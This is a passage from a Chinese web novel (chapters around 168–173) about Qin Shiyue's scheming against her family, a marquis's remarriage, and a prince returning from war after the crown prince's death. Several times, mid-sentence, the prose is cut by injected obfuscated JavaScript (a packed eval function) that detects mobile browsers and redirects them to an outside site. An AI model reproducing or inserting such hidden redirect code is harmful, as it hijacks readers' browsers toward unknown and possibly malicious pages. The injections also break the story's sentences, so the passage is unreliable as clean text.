秦怀瑾梗着脖子,毫不示弱,“父亲,孩儿也是为了侯府着想。那人父亲在朝中也能说上点话,若能拉拢,对侯府来说未尝不是一件好事。” “放肆!”长乐侯气的直拍桌子,“你可知道你惹的是什么人?他父亲是朝中权贵不错,但那种人岂是你能随意招惹的!” “不能招惹?如今母亲犯下弥天大祸,父亲却一心想着袖手旁观,若我不想办法救母亲,她就只有等死的份!” 秦时月站在一旁,冷眼旁观着这对父子的争吵,心中暗自冷笑。 秦怀瑾说的倒是好听,不过是不甘心放弃世子之位。 只是,他太小看那些人了,一旦被缠上,恐怕只会给侯府带来灭顶之灾。 芳姨娘见状,连忙上前打圆场,“侯爷,大少爷也是为了侯府和夫人,您就别生气了。” 她嘴上这样说,心里却忍不住想为秦怀瑾的愚蠢拍手叫好。 就连她的明远都知道,如今侯府风雨飘摇,最好什么都不做,可他,一个被当做世子精心教养的大少爷,却蠢成这样。 长乐侯气的胸口起伏不断,后知后觉的看到秦时月,冷哼一声,“你来做什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801733|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?” 秦时月挑挑眉,心里忍不住偷笑。 她来做什么?看笑话呀。 不过,这话她却不能说。 “父亲息怒,兄长也是太过担心母亲,这件事,大惩小戒就是了。” “这里哪有你说话的份!”秦怀瑾听了秦时月凉薄的话,眼中闪过一丝愤怒。 秦时月这个**就见不得他好。 上次他被长乐侯赏家法,就是因为秦时月的一句话,如今,她又是袖手旁观,又是拱火,这明显是想看他翻车! 秦时月眸光一沉,上去突然扇了他一巴掌,“不知好歹的东西!唤你一声兄长,你还真当以你的头脑,配当本县主的兄长了!?” “放肆!”长乐侯脸色难看。 秦怀瑾就是再错,到底也是他悉心教养大的嫡长子,她这越俎代庖,不尊兄长的行为,着实让他不悦。 秦时月收回手,声音里多了一丝委屈,“父亲,刚刚时月实在是太气了,所以一时忘了分寸,还望父亲恕罪。” 秦怀瑾双眼猩红,起身就像弄死秦时月。 可他身边的护卫盯着,看到他有所动作,立刻将人重重按在了地上。 严格说起来,他们都是秦时月的人,只效命秦时月一人。 芳姨娘震惊不已,好不容易回过神,吞口唾沫,连忙打圆场,“侯爷莫气,大小姐,大小姐许是太生气了,所以,所以一时没把握好分寸……” 长乐侯冷哼一声,“她一个未出阁的女子,有什么可生气的。” “父亲。”秦时月盈盈一拜,道:“时月本想为兄长求情的,可他竟丝毫没有意识到事情的严重性,时月这才被气到不知轻重。” “你什么意思?”长乐侯眉头一拧,问道。 “父亲,母亲和秦可云做出如此大逆不道的事,陛下开恩没有连罪,如今侯府就该闭门谢客,尽量保持低调。兄长却在外招惹是非,跟朝中权贵纠缠,这不是将侯府往火坑里推吗?” 第168章 尘埃落定? “时月虽为女子,但也明白如今局势凶险,稍有不慎便是万劫不复。兄长这般行事,一旦被陛下察觉,不但会害了他自己,更会连累整个侯府。” 秦时月语气平静,却字字如刀,直戳要害。 长乐侯的脸色愈发难看,他盯着秦怀瑾,眼中的怒火差点喷涌而出。 他刚才只觉得秦怀瑾就会惹事,竟没想到这一层。 经秦时月一点,他立刻意识到了问题的严重性,心顿时悬在半空,生怕皇上降下圣旨。 秦怀瑾被按在地上挣扎无果,只能恶狠狠地瞪着秦时月,仿佛要将她生吞活剥一般的喊道:“**!你少在这搬弄是非!我,我一心为母亲和侯府,我怎么会做害侯府的事呢!” 芳姨娘见气氛僵持不下,忍不住再添一把火,“侯爷,妾身觉得大小姐说得有道理,大少爷这次,确实鲁莽了些……” “闭嘴!”长乐侯猛地一甩袖子,打断了芳姨娘的话,“本侯自有分寸!” 说完,他狠戾的看着秦怀瑾,眼底闪过一丝杀意,“来人,把秦怀瑾拖下去关进柴房,没有本侯的命令,不许给吃食!” 秦时月站在原地,神色淡然。 啧啧,这就步了她前世的后尘了?这秦怀瑾,也不是个聪明的。 秦怀瑾被拖下去时,满脸的不可置信,他不断挣扎,大声叫喊着,“父亲,您不能这样对我!” 可长乐侯却捏着眉心,看都不看他一眼。 秦时月看着这一幕,心中毫无波澜。 这不过是个开始,上辈子秦怀瑾听从秦可云的话,日日给她送残羹剩饭,将她身边的人一一折磨了个遍,他,自然也该感受一下上一世她遭遇的那些! 不过,她心里也清楚,她这个好父亲的行为看似狠心,实则是想先将人关起来看看后续的发展。 秦怀瑾虽然让他失望不已,但他,还是想保秦怀瑾一命的。 芳姨娘差点忍不住笑出声。 她怎么都没想到,长乐侯夫人和秦怀瑾一样愚蠢,竟然一个又一个,前仆后继的自己找死。 这样一来,她都不用出手,长乐侯夫人和世子的位置,就能落到她和秦明远的身上。 不过,她心里虽然这样想,但该装的还是要装装。 她皱紧眉头,悄悄拉了拉长乐侯的衣袖,小声说道:“侯爷,大少爷固然有错,但眼下侯府正值多事之秋,还是从轻发落吧……” 长乐侯瞪了秦怀瑾一眼,然后看向芳姨娘,“本侯做事,自有章法,倒是你,既然知道侯府如今的现状,就将明远看好些,千万不要学秦怀瑾,做出一样的蠢事!” 芳姨娘被噎了一下,心里却高兴的厉害。 看来,他对秦怀瑾已经失望透顶,秦怀瑾再想翻身,难如登天! 秦时月见状,微微勾起唇角。 芳姨娘够聪明,只是,只说些无关紧要的话,根本起不到什么重要的影响。 她眸光一闪,再次福福身子,“父亲,如今母亲被扣押宫中,侯府无主,不如趁此机会将芳姨娘抬做平妻。” “时月,你母亲遭此大难,生死不知,你竟然有心情为别人开口说话?”长乐侯疑心极重,此时直觉秦时月和芳姨娘之间有猫腻。 一想到他可能受到二人算计,眼神顿时阴鸷一片。 芳姨娘心中一惊,不由的埋怨起秦时月。 大小姐向来聪慧,怎么如今突然犯起糊涂? 她是想坐上哪个位置,可如今时机不对,一旦引起侯爷怀疑,她们的计划满盘皆输还是次要的,侯爷一旦怪罪下来,她和明远的结局,一定不比长乐侯夫人母子好…… 秦时月不慌不忙,似乎早就料到了长乐侯的反应。 “父亲误会了,女儿都是为了侯府和您着想啊。”秦时月语带哽咽,眼眶泛红,“母亲犯下大错,女儿虽然心疼,但也知道哪个更重要。若您此刻休妻另娶,陛下看到您的决心,想来不会再追究您和侯府的责任……” 长乐侯眯起眼睛,一边审视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807670|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着秦时月,一边在心里计较。 他有些看不透这个女儿的心思,今日这番话,更让他有些拿不准。 不过,她说的不无道理。 他原本就想弃车保帅,只是不想担冷血无情的名声,可如今,秦时月提起…… “哼,你倒是会替本侯打算。”长乐侯冷哼一声,语气中透出几分试探,“可她是你的生母,此时还在宫里受罪,若我此刻休妻另娶,岂不是让人诟病?” 秦时月垂下眼睑,掩饰住眸中的冷芒。 她早料到长乐侯是个绝情的人,之所以犹豫,不过是舍不得虚名。 她深吸口气,道:“父亲,如今边关大乱,朝中局势瞬息万变,我们不能总被牵着鼻子走。母亲固然重要,可侯府的根基不能动摇。若外人趁机针对,侯府的未来……怕是一片惨淡。” 这番话如同一记重锤敲在长乐侯心上。 他沉吟片刻,扫过芳姨娘略显紧张的脸,又看向秦时月委屈挣扎的表情,心中终于做出决定。 “你说的是,为父很高兴你有如此深明大义的一面。既然你如此为侯府着想,那便依你所言,休妻另娶,也好让陛下安心。”长乐侯放下警惕,眼神兴奋的说道。 卓静啊卓静,你可想过自己也有今日?自己辛苦生下的女儿为了侯府的富贵,不惜亲自开口,求我休妻? 芳姨娘心中窃喜不已,没想到秦时月竟然心思缜密成这样。 幸好,幸好先前她不曾与秦时月为敌,否则的话,自己的下场…… 她打个冷颤,不由自主的偷瞄秦时月一眼。 见她没看自己这边,这才故作惊惶的低下头,“侯爷,妾身不敢奢求这般殊荣,只愿为侯府尽绵薄之力,只愿能帮到侯爷。” 她声音轻柔婉转,恰到好处的将谦卑、顺从表现出来。 长乐侯就吃这一套,当即眸光一柔,将她扶了起来,“好了,本侯知道你一心为本侯。你有身孕在身,不用行礼了,早点回去歇着吧。” 第169章 休妻另娶 秦时月垂下眸,嘴角微扬,眼中闪过一丝不易察觉的冷意。 她知道长乐侯不会拒绝这个提议,毕竟,他一向无情,任何对他没有助力的棋子,随时都会被他丢弃。 “好了,你若没其他事,也早些回去歇息吧!”长乐侯看了眼秦时月。 “是,父亲。”秦时月退出了房间。 休妻再娶一事,当日就开始准备了,整个侯府都挂上了红色的绸缎和灯笼,看上去无比的喜庆。 不过,芳姨娘没有身份背景,连个体面的娘家都没有。 再加上侯府本就是表面上风光,除了一些最基本的东西之外,并没有什么底蕴,所以,娶妻当日,明明是娶妻,却和纳妾没什么两样,简陋的让人想笑。 可芳姨娘的脸上一直洋溢着灿烂的笑容,于她而言,婚事是否隆重并不重要。 重要的是,她从今日之后,就是长乐侯的正妻,生下来的孩子无论男女,都会是嫡子。 她穿着鲜红的嫁衣坐在铜镜前,看着里面的自己,脸上满是得意之色。 高堂之上,秦时月看着长乐侯和芳姨娘。 长乐侯明显无所谓,于他而言,只要是对侯府好,他做什么都行。 秦时月恭喜过长乐侯后便离开回了院子回到了揽月园。 她坐在案牍后,百无聊赖的翻看着手中的画本子,等待着边关来信。 算算日子,应该也差不多了。 两日后,空中飞来一只信鸽,落在了秦时月房里的窗框上。 秦时月伸出手,它立刻飞过来。 将她爪子上的小竹筒取下来,展开看了眼上面的内容。 太子已死,不日回京。 秦时月的眼底闪过亮光,微微掀唇,“小荷!” “奴婢在。”小荷推开房门从外面走了进来,恭恭敬敬地行礼,“不知小姐有何吩咐?” “备车,入宫。”秦时月嘴角带笑,吩咐道。 “是,小姐。”小荷退出房间。 片刻后,秦时月坐着马车前往皇宫。 凤仪宫。 秦时月迈着步子走了进去,留意到殿内有外人,立刻恭恭敬敬地行礼,“臣女参见皇后娘娘,皇后娘娘千岁千岁,千千岁。” “快起来。”皇后起身走过来,虚扶了秦时月一把。 “谢皇后娘娘。”秦时月起身后,余光扫视了一眼周围的宫女。 皇后很快就明白了什么,摆了摆手,“行了,你们都退下吧!本宫有些体己话要和时月说。” “是。”宫女们纷纷退了出去,随后关上了门。 “可是有辰儿的消息了?”皇后激动地看着她。 这些日子,宋墨辰不曾送回只言片语,她心里担心,生怕出事,再加上近日发生的事,她两日都没睡好。 “回皇后娘娘,刚来的消息,太子殿下已死,他,不日就会带军队回京,您莫要再担心了。”秦时月柔声道。 皇后的脸上满是喜悦之色,忽然想到了什么,不确定地问道:“你刚才说的可是真的?” “当真,若皇后娘娘不信的话,可以看这封信,这是他的字迹,您应该能认的出来。”秦时月将信拿出来,递了过去。 皇后看到上面的字迹,喜极而泣,“果真是他的字迹,他没事便好。” “他吉人自有天相,如今一切尘埃落定,咱们也可以谋划下一步了。” 皇后笑了笑,“你说的是,宋砚辞已死,良妃撑不了多久。” “娘娘说得是。” 皇后将信放在蜡烛之上,烧的差不多时才松开手。 “对了,还有一事。”她想到了之前的事,眸光暗了下来。 “娘娘指的是走水的事?”秦时月问道。 皇后点点头,“这件事本宫已经查得差不多了。” “是何人所为?”实际上秦时月心中大概有了猜测。 皇后眉头拧紧,双眼微眯,眼底闪过凌厉之色,“呵,就是良妃做的!” 秦时月疑惑地问道:“不知皇后娘娘打算接下来怎么做?” 似乎是想到了什么,皇后有些苦恼,随即长叹一口气,“此事并非良妃亲自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你呀。本宫怎会厌弃你?竟是瞎说。” 两人相视而笑,气氛温馨。 一直到了傍晚,秦时月才回侯府。 第170章 卓静疯了 很快,皇上褫夺了长乐侯夫人的封号,并下了诏令,卓静、秦可云罪不容赦,秋后问斩。 而长乐侯由于休妻及时,并未被皇上牵连,只是在早朝时,被皇上当众提点了一二,算是以儆效尤。 至于良妃,降了位分,罚她在自己的宫中闭门思过。 牢房,长乐侯夫人,不,如今她封号被夺,已经不再是长乐侯夫人了,只是卓静。 秋后问斩的消息下来后,她便和秦可云关在了同一间,此时的她悔不当初。 卓静转头看向身侧的秦可云,眼底的怒意呼之欲出,“都是因为你,如果不是你,我怎么可能沦落到这个地步,侯爷怎么可能对我如此绝情!?” 秦可云的脸色沉了下来,恶狠狠地盯着旁边的蠢货,“这都是你自找的,和我有什么关系?要怪就怪你自己!” 要不是卓静和老夫人,她也不会沦落到这个地步,她还没怪她,她倒恶人先告状了! 还有秦时月那个**,要不是她,自己也不会沦落到这个地步! “你还说!都是你,要不是你,我怎么会伤害我的亲生女儿?” “呸!是你自己认为秦时月是灾星,为了自己的利益,你处处打压自己的女儿,你当自己是什么好货?” 凭什么秦时月就能高高在上,她秦可云却要和卓静这个贱妇被关在牢房里等死!? 卓静气的胸膛起伏不断,怒不可遏地瞪着她,“你才是毒妇,所有的一切都是你的错,你就不该出生在这个世上!要是没有你,我不会变成这样!” 秦可云实在是听不下去了,对着卓静破口大骂。 卓静也没了先前的雍容典雅,指着秦可云的鼻子大骂起来。 其他牢房中的犯人在听到声音,纷纷伸长了耳朵看戏。 牢房本是最压抑血腥的地方,如此这种场景,实在是少见。 第二天,秦时月特意去了趟天香楼,打包了卓静平日里最喜欢吃的菜式,随后去了牢房。 她看了眼守在外面的狱卒,拿了一锭银子出来,“麻烦通融一下,我去见一下我母亲,很快就出来。” “只有一炷香的时间,县主请尽快,莫让小的难做。”狱卒将银钱收起来,带着秦时月往里面走去。 她一进去就闻到了一股潮湿难闻又恶臭的气息,下意识地皱了皱眉。 每一间牢房中都关押着不同的犯人,看到有人进来,纷纷趴在铁栅栏上看过来。 来到关押卓静和秦可云的牢房外,狱卒道:“我就在四周巡逻,有事县主喊我一声便是。” “那个……能不能麻烦你开一下门,我想把带来的吃食送给母亲。”秦时月微微掀唇。 秦可云和卓静听到熟悉的声音,纷纷扭头看过来,一眼就看到了秦时月。 “时月,你来了!”卓静赶忙起身跑了过去,“你是来救我的对吧,时月,我已经知道错了,这些年都是我不好,是我愚蠢才会相信那个这个**,你快救母亲出去……” 狱卒将吃的送进去放在地上,随后退出来,重新锁上了牢房门,离开了原地。 秦可云一看到秦时月,眼底的厌恶便呼之欲出,随即破口大骂,各种各样的污言秽语从她的嘴里吐出来。 卓静立刻瞪了回去,随后不停向秦时月道歉,泪水止不住地滑落。 看着前世想尽一切办法,不断打压自己,最后冷冷看自己死掉的卓静如今变成了这副模样,秦时月的心情瞬间舒畅了许多。 卓静从牢铁栅栏的缝隙伸出手,猛的抓住秦时月的衣裙,道:“时月,我真的知道错了,你就看在你是我十月怀胎,好不容易生下来的份上,原谅我,好吗?” 秦时月伸出手,扶着卓静,面带心疼,“母亲快快起来,女儿怎会生你的气,这些年你也是被蒙在鼓里,倘若你知道真相,肯定不会那般对我。” 卓静起来后,问道:“时月,你刚才说的真相,是什么?” 秦时月垂下眼帘,心里冷笑一声,眼眶泛红的说道:“母亲,我已经找到了当年的高僧,高僧告诉我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不会让卓静和秦可云轻易死掉。 对于她们而言,死亡并不是惩罚,而是解脱。 只有让她们生不如死,互相折磨,彻底体会她上一世遭受的一切,才可以! …… 另一边,战神辰王即将回京的消息很快传入京城。 皇上得知这个消息的时候震惊不已。 他死后复生也就罢了,为何只有他的消息,没有太子和老三的消息?难不成,出了什么大事!? 他盯着眼前跪伏在地的太监,冷声问道:“太子和三皇子呢?” “这……”小太监低下头,支支吾吾了半天,没有说出来。 皇上察觉到什么,猛地站起身,怒道:“朕在问你话,他们呢?如今怎么样了!?” 小太监被吓的整个趴在了地上,结结巴巴地回话,“回禀陛下,太,太子殿下,战死……” 皇上眸光一沉,面上闪过一丝震惊,身子晃了一下。 他不可思议地盯着下方的太监,怎么可能?太子怎么会死? “放肆!你竟敢欺瞒于朕,太子带兵出征,怎么可能会死!?”他怒吼一声,满脸的不信。 小太监跪在地上,瑟瑟发抖,担心因一句话,惹怒了皇上。 他在地上磕头,声带微颤,“陛下,太子殿下一事,乃是事实,就算借奴才一百个胆子,奴才也不敢欺瞒陛下啊。” 皇上脸色一白,脑海中浮现出宋砚辞战死沙场的场景,额头上不断冒出冷汗,他伸手扶着龙头扶手,这才稳住了自己的身形,没让自己倒下。 大太监江福德赶忙过去搀扶,“陛下,千万注意龙体啊!” 皇上转头看向他,“去,去派人调查此事的真实性,生要见人,死要见尸!” “是,陛下。” 边关大捷,宋墨辰一个死人即将回京,太子怎么会死!? 哪怕是带兵打仗,太子也是坐镇帐中,不会出现战死沙场的事,这到底是怎么回事? 他坐在龙椅上,神色难看,他忽然想到了什么,眼底闪过一抹凌厉之色,放在龙头扶手上的手不断用力收紧,手背上青筋暴起。 此次战事,老三一同前去,此时太子出事,老三毫无消息,莫不是他做的? 他们一直不和,明里暗里的较劲,这些皇上都是知道的。 只不过他没想过,宋承恩一个常年缠绵病榻的人会有能力对宋砚辞动手。 不过,想到宋承恩做的那些事,他又有点拿不准。 思索间,大太监刚走到大殿门口,皇上突然抬头,微微掀唇,“回来吧,此事,等辰王进京再说!” 如今宋墨辰即将回京,就算是去派人查探,时间也差不了太多,不如等宋墨辰回来。 “是。”江福德折返回去,候在皇上身侧。 跪在地上的小太监脸色煞白,浑身颤抖个不停。 时间越长,他心中越是忐忑不安,连带着双腿也因为血液不流通而泛麻。 但皇上不开口,他也只能继续跪着。 江福德注意到小太监,想提醒,又担心皇上此时正在盛怒中,自己的行为会让他更加不满,没办法,只能就此作罢。 大殿上一片寂静,不知过去了多久,皇上才注意到还跪在地上的小太监,随后烦躁的摆了摆手,“退下吧!” 小太监的脸上满是劫后余生的惊喜之色,立刻回道:“是,奴才告退。” 话落,他急急忙忙地从地上爬起来,以最快的速度退出了大殿。 …… 宋墨辰回京之日,百姓们欢呼声不断响起,他骑着马不断向前,脸上满是疲倦之色,距离比较近的百姓明显能看到他脸上的伤,还有盔甲上斑驳干涸的血痕。 看着两侧的百姓,他面色不变,眸底却闪过一丝笑意。 用不了多久,他就可以看到时月了…… 皇宫外,宋墨辰抬头看着宫墙,脸色一沉,随后从马上翻身下来,进入皇宫,随行有副将和他的手下。 大殿上,皇上已经坐在龙椅上等候多时,他的手指没有规律地在龙头扶手上不断敲打着,神色晦暗不明。 “辰王殿下入宫觐见!”太监尖锐的声音从外面传来。 随后,众人就看到宋墨辰从外面走了进来,其他人则是留在了殿外。 皇上注意到了他的风尘仆仆,脸上的伤,盔甲上的破损,以及走路时腿脚不太利索的样子,脸色一沉。 宋墨辰这是受伤了? “儿臣参见父皇。”宋墨辰恭敬行礼。 “太子呢?”皇上并不在意宋墨辰究竟如何,当即拧眉问道。 宋墨辰低头回道:“太子殿下死在边关,儿臣无能,只能带回太子殿下的半具尸体。” “你说什么!?”皇上就觉得脑袋像是被人敲了一闷棍,脸色瞬间惨白一片,“半截,尸体?” “是的父皇,儿臣知晓父皇无法相信,这就让人将太子殿下的尸体送进来。”宋墨辰面色不变,语气里却带着一丝悲恸。 他转身看了眼殿外,做了个手势,很快他的手下就将宋砚辞的半截尸体从外面抬了进来。 皇上看到地面上的已经发臭的尸体,本就苍白的脸又白了好几个度。 砚辞,真的死了…… 轰的一声,他的大脑一片空白,只呆呆地站在原地,盯着尸体看了许久。 大殿上更是落针可闻,只剩众大臣倒抽冷气的声音。 死的是太子,况且,他们还从没有见过如此惨烈的死法。 有些文臣甚至承受不住,当即干呕起来。 皇上转身,怒不可遏地瞪着宋墨辰,强压着心中的怒火质问,“死的人不是你吗!?为什么成了太子?这中间究竟发生了何事?” 刚才皇上的眼神宋墨辰都看到了。 他在心里冷哼一声,垂下了眸。 他自然知道皇上巴不得死的人是他,可如今他战功赫赫,此次又平复边关战事,收复边关失地,就算皇上心中不爽,也只能忍耐。 宋墨辰收起心思,不紧不慢地回道:“回父皇,事情是这样的。” “当初儿臣被番邦俘虏关押,番邦拿了一具烧焦的尸体蒙混儿臣的副将。” 第172章 一死一疯 “这才传来儿臣死在边关的消息。后来太子殿下带兵迎战,儿臣找到机会逃了出来,不承想,太子殿下竟然遭到暗算,儿臣刚和太子殿下汇合,太子殿下就死在了儿臣面前,不得已,儿臣带伤挂帅,击退番邦,收回边关失地。” 皇上垂下眼帘,狐疑地盯着宋墨辰看了很久。 他才从敌军的俘虏营逃出来,一汇合太子就遭到暗算死了,一切,太过牵强。 有很大的可能性是宋墨辰做局。 可太子已死,事情的真相究竟是怎么样的,不得而知。 如今宋墨辰带着战功回来,不好逼得太紧,否则必然让大臣们寒心。 破局的人,也只有一人。 “三皇子呢?”皇上问道。 “父皇,儿臣正要禀报,正是三皇兄背刺太子,儿臣击退敌军活捉了三皇兄,可他已经疯了。”宋墨辰痛心疾首的回道。 皇上眉头拧紧,心中对宋墨辰的怀疑更深了。 天底下怎么可能会有如此巧合的事? 宋砚辞和宋承恩去边关,回京前一死一疯。 “来人,将三皇兄押入大殿!”不等皇上深思,宋墨辰低沉的嗓音再次响彻大殿。 很快,他的手下就将宋承恩从外面押了进来。 只见宋承恩疯疯癫癫,头发凌乱,浑身上下散发着难闻的气味,见人不仅不知行礼,还傻乎乎的大笑大喊。 皇上下意识地皱了皱眉。 “承恩,太子之死是否与你有关!?”他问道。 “不,不是我,我没有,父皇,嘿嘿,死了,都死了,是我……我是太子,我是太子了!”宋承恩疯疯癫癫地喊着。 皇上的脸色沉了下来。 真的疯了? 随后他的目光落在了宋墨辰身上,死死地盯着他。 皇上疑心、防备心极重,如今事实真相又不明了,他虽然疑心宋墨辰,但又怕逼的紧了,会让宋墨辰逼宫…… 如今太子已死,他的盼头没有了,而且,现在调动兵马也来不及…… 意识到自己无人可用,皇上像是瞬间老了十岁。 宋墨辰察觉到他的心思,抬头看了他一眼,神色淡然,并脸上没有半点慌张之色。 大殿之中的气氛沉重压抑,让人浑身不适。 就在皇上纠结不已的时候,太监尖锐的声音从大殿外传来,“皇后娘娘驾到!” 皇上神色一怔,目光落在了宋墨辰身上,皇后肯定是在得知宋墨辰回京的事后赶过来的。 这对母子的心思,昭然若揭! 他的眸光沉了下来,却是没有发作。 皇后走到大殿中央,盈盈一拜,“见过陛下。” 随后余光落在了宋墨辰身上,脸上顿时浮现出一丝担忧,拳头在宽大的袖口中捏的死紧。 辰儿如今受了伤,皇上都不曾说起让他先处理伤势,其余的事之后再提,可见皇上的绝情。 “快起来。”皇上收起心思,赶忙说道。 皇后又看了一眼地上的尸体,眼神不变。 “皇后莫不是听闻墨辰打了胜仗特意来此?”皇上脸上带笑,但语气却听不出半分喜悦。 “辰王如今立功,臣妾身为他的母后,自然应该过来,不过,臣妾来此,是担心辰儿的身体。”说话间,皇后已经走了上去,坐在了凤椅上。 皇上怎会不明白皇后的心思,只是没有明说罢了。 宋墨辰低下头,淡声说道:“父皇,太子殿下一事都是三皇兄的阴谋,虽然儿臣痛心,但三皇兄一早就和番邦勾结,这才导致儿臣被俘,太子殿下陨落。” “请父皇降罪!”他的声音在大殿之上回荡。 宋承恩与番邦勾结一事皇上先前已经调查到了,想着他再怎么样也是自己的儿子,所以他私心的并不想重罚。 可如今…… “如今人已经疯了,此事便罢了。”皇上微微闭眼,缓缓开口,语气里带着一丝警告。 宋墨辰眉头拧紧,脸色一沉,倘若这件事是他做的,皇上必然会降罪,区别对待得太明显。 皇后藏在衣袖下,交叠在一起的手紧紧攥着,“陛下,臣妾知道陛下是看在三皇子如今已经疯的份上不忍惩治,可……太子殿下的死,他脱不了干系,若您不降罪,只怕堵不住悠悠众口啊。” 他待自己的辰儿如此冷血,换了别人的儿子就想轻轻揭过?她偏不给他这个机会! 皇上眉头拧紧,不悦道:“后宫不得参政,你怕不是忘了?” 皇后垂下头,脸色难堪的厉害。 她自然知道后宫不得干政,否则,他如此对待她的辰儿,她早就联合母族的势力掀翻这个朝廷了! 宋墨辰转头给身侧的大臣使了个眼色,对方很快站出来,先行礼,后开口。 “陛下,虽然三皇子疯了,但他勾结番邦在前,弑兄在后,若不惩治,实在是不妥。而且,若非辰王殿下从敌军手中逃脱,边关一破,京城告急,靖垣危矣!” 有人带头,其他大臣也纷纷站了出来,个个恭谨的低着眉眼,“是啊陛下,若不惩治三皇子,太子和那些死去将士们死不瞑目,那些将士的家眷定会寒心啊陛下!” “都说天子犯法与庶民同罪,三皇子不得不罚啊!” 皇上看了眼已经疯了的宋承恩,心中始终不忍。 他眉头拧紧,神色难看,迟迟不愿下令。 大臣们却不肯给他拖延的时间,不断上奏,甚至有的文官以死相逼。 皇后垂着眼帘,浓密的睫毛遮住了她眼底的神色。 皇上的行为还真是让她心寒,对待辰儿,永远是忌惮,冷漠,对待别的皇子,永远都是关爱有加,不忍重罚…… 她的余光瞥到地上的尸体,调整了一下情绪。 她早就知道皇上的心从一开始就是偏的,有什么可寒心的?如今太子已死,一切都在照着他们想要的结局发展,这样,就够了! 皇后端坐在凤椅上,余光落在皇上难看的脸色上,知道他满心不愿,却又无可奈何,心情瞬间好了不少。 宋墨辰在心里冷哼一声,拱手作揖,沉声道:“父皇,三皇兄觊觎储君之位,即便太子不去边关,也会被他害死。” 第173章 宋承恩被治罪 “更何况他勾结番邦本就是死罪,若是不罚,万一有人效仿,靖垣将何去何从?” “父皇若执意不肯惩治三皇兄,太子泉下有知,怎能走得安心?” 皇上的目光在宋砚辞和宋承恩的身上来回徘徊,一个死了,一个疯了,如今究竟应该怎么做。 “还请皇上下令,惩治三皇子,以告太子殿下和死去众将士的在天之灵!” 大臣们不断重复着这一句,皇上的脸色难看至极。 这群大臣明显是故意的。 承恩已经疯了,他们竟然还不放过他。 最终,他实在是没办法了,沉声道:“三皇子联合番邦,害五皇子被番邦俘虏,太子也因此惨死,即日起,褫夺皇子名号,贬为庶人,发配边关,无召不得入京。” 大臣们这才露出满意的神色,纷纷躬身高呼,“皇上圣明!” 皇后的目光落在了宋墨辰身上,“此次击退番邦,多亏了辰儿,你可有什么想要的?” “儿臣并无任何想要的东西,儿臣带兵守住边关,乃是儿臣身为皇子该做的。”宋墨辰神色凝重地回道。 皇上点点头,“虽然你没什么想要的,但朕不能不赏,朕便赐你良田千户……” 几乎都是金银布匹,珍稀贡品,却绝口不提其他。 宋墨辰耐心地听完,面色平静无波,“多谢父皇。” “这段日子你就在府上好好养伤吧,不必日日上朝。”皇上摆了摆手,“都退下吧!” “恭送陛下,皇后娘娘。”随后大臣们等皇上和皇后离开,退出大殿。 宋墨辰离开皇宫,直接调转车架去了长乐侯府。 揽月园,秦时月正在用膳,一阵熟悉的脚步声传来,她抬头看了过去,只见宋墨辰穿着铠甲站在她对面,她眼前一亮立刻放下手中的筷子迎了上去,“宋墨辰,你,你回来了!” “时月。”宋墨辰的脸上露出温和的笑,快步走进去。 小荷面上带着喜色,高兴的行礼,“奴婢见过辰王殿下。” 宋墨辰进去后,她极有眼力见的退出房间,关上门,守在了外面。 秦时月上下打量着宋墨辰,看到他身上的伤,秀眉拧紧,“受了这么重的伤,为何不处理了再过来?” 宋墨辰走过去坐在椅子上,眉眼带笑,“小伤,不打紧。” 秦时月神色凝重,伸手给他把脉,眼底满是担忧之色。 他伸手抓住她的手腕,一把将秦时月拉入怀中,“时月,真的只是一些皮外伤,你别担心。” 秦时月抬起眼帘,满脸不信。 “倘若只是皮外伤,为何铠甲都破损了?” “这些啊!是我自己弄的,铠甲看似损坏了,实际上,我受伤不重,只是看上去比较严重。”宋墨辰解释道。 “回京之前,我特意自伤,如此在面见父皇时才能堵住他和太子一党的嘴。” 秦时月长舒一口气,道:“原来是这样,没事就好。” 说完,她从宋墨辰的怀中退出,拿了自己配的药膏给宋墨辰上药。 她动作很是温柔,生怕弄疼了他。 药上完后,她收拾瓶子时,问道:“如今太子殿下已死,三皇子已疯,不知你接下来打算怎么做?” 宋墨辰神色凝重地说道:“如今借着养伤的名义,在朝堂上尽量低调行事,尽快解除父皇对我的怀疑。” “顺便,铲除太子的余党。” 如今皇上应该在怀疑,一切都是他布局,宋砚辞的死都是他一手造成的。 若一直这样下去,皇上必然会更加忌惮他,甚至有所行动。 “如此也好。”秦时月看了眼桌上的吃食,“你吃饭了吗?” “还没,我一出宫本王就过来寻你了,根本没时间吃饭。”他哪里是没时间吃饭?他分明是许久不见秦时月,一心只想和她一起吃。 “我不知你今天过来,准备的饭菜不多,不如,少吃点?要是不够,我这就让人重新准备。” 